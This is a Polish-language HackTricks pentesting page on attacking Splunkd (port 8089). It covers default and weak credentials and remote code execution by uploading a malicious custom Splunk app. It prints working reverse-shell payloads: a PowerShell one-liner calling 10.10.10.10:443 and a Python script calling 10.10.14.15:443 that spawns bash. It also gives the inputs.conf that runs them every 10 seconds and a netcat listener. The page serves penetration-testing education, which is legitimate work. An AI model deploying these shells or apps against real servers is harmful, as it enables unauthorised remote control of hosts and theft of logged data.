hacktricks/network-services-pentesting/8089-splunkd.md
2024-02-11 01:46:25 +00:00

9 KiB

8089 - Testowanie penetracyjne Splunkd

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Splunk to narzędzie do analizy logów, które odgrywa kluczową rolę w gromadzeniu, analizowaniu i wizualizacji danych. Chociaż jego pierwotnym celem nie było pełnienie roli narzędzia SIEM (Security Information and Event Management), zyskało popularność w dziedzinie monitorowania bezpieczeństwa i analizy biznesowej.

Instalacje Splunk są często wykorzystywane do przechowywania wrażliwych danych i mogą stanowić cenne źródło informacji dla potencjalnych atakujących, jeśli uda im się zhakować system. Domyślny port: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Serwer internetowy Splunk domyślnie działa na porcie 8000. {% endhint %}

Wyliczanie

Wersja darmowa

Po 60 dniach wersja próbna Splunk Enterprise przekształca się w wersję darmową, która nie wymaga uwierzytelniania. Nie jest rzadkością, że administratorzy systemów instalują wersję próbną Splunka, aby ją przetestować, a następnie o niej zapominają. Automatycznie przekształci się ona w wersję darmową, która nie posiada żadnej formy uwierzytelniania, wprowadzając lukę w zabezpieczeniach środowiska. Niektóre organizacje mogą wybrać wersję darmową ze względu na ograniczenia budżetowe, nie do końca rozumiejąc implikacje braku zarządzania użytkownikami/rolami.

Domyślne dane uwierzytelniające

W starszych wersjach Splunka domyślne dane uwierzytelniające to admin:changeme, które wygodnie są wyświetlane na stronie logowania.
Jednak najnowsza wersja Splunka ustawia dane uwierzytelniające podczas procesu instalacji. Jeśli domyślne dane uwierzytelniające nie działają, warto sprawdzić popularne słabe hasła, takie jak admin, Welcome, Welcome1, Password123, itp.

Uzyskiwanie informacji

Po zalogowaniu się do Splunka możemy przeglądać dane, uruchamiać raporty, tworzyć dashbordy, instalować aplikacje z biblioteki Splunkbase oraz instalować niestandardowe aplikacje.
Można również uruchamiać kod: Splunk ma wiele sposobów uruchamiania kodu, takich jak aplikacje Django po stronie serwera, punkty końcowe REST, wprowadzanie skryptowe i skrypty alarmowe. Powszechną metodą zdalnego wykonania kodu na serwerze Splunka jest użycie wprowadzenia skryptowego.

Ponadto, ponieważ Splunk może być instalowany na hostach Windows lub Linux, można tworzyć wprowadzenia skryptowe do uruchamiania skryptów Bash, PowerShell lub Batch.

Shodan

  • Splunk build

RCE

Tworzenie niestandardowej aplikacji

Niestandardowa aplikacja może uruchamiać skrypty Python, Batch, Bash lub PowerShell.
Należy zauważyć, że Splunk jest dostarczany z zainstalowanym Pythonem, więc nawet na systemach Windows będzie można uruchamiać kod pythona.

Można użyć tego pakietu Splunka, aby nam pomóc. Katalog bin w tym repozytorium zawiera przykłady dla Pythona i PowerShella. Przejdźmy przez to krok po kroku.

Aby to osiągnąć, najpierw musimy utworzyć niestandardową aplikację Splunka, korzystając z następującej struktury katalogów:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Katalog bin będzie zawierał wszystkie skrypty, które zamierzamy uruchomić (w tym przypadku odwróconą powłokę PowerShell), a domyślny katalog będzie zawierał nasz plik inputs.conf. Nasza odwrócona powłoka będzie jednolinijkowym skryptem PowerShell:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Plik inputs.conf informuje Splunk który skrypt uruchomić oraz zawiera inne warunki. Tutaj ustawiamy aplikację jako włączoną i mówimy Splunkowi, aby uruchamiał skrypt co 10 sekund. Interwał zawsze jest podany w sekundach, a wejście (skrypt) zostanie uruchomione tylko wtedy, gdy ten parametr jest obecny.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Potrzebujemy pliku .bat, który zostanie uruchomiony podczas wdrażania aplikacji i wykona jednolinijkowy skrypt PowerShell.

Następnym krokiem jest wybranie opcji Zainstaluj aplikację z pliku i przesłanie aplikacji.

Przed przesłaniem złośliwej niestandardowej aplikacji, uruchommy nasłuchiwanie za pomocą Netcat lub socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Na stronie Prześlij aplikację kliknij przeglądaj, wybierz wcześniej utworzony plik tarball i kliknij Prześlij. Jak tylko przesłana zostanie aplikacja, otrzymamy odwróconą powłokę i status aplikacji automatycznie zostanie zmieniony na Włączony.

Linux

Jeśli mielibyśmy do czynienia z hostem Linux, musielibyśmy edytować skrypt Pythona rev.py przed utworzeniem pliku tarball i przesłaniem niestandardowej złośliwej aplikacji. Reszta procesu byłaby taka sama, a my uzyskalibyśmy połączenie z odwróconą powłoką na naszym nasłuchującym Netcat i moglibyśmy zacząć działać.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Eskalacja uprawnień

Na następnej stronie znajdziesz wyjaśnienie, jak można wykorzystać tę usługę do eskalacji uprawnień i uzyskania trwałości:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: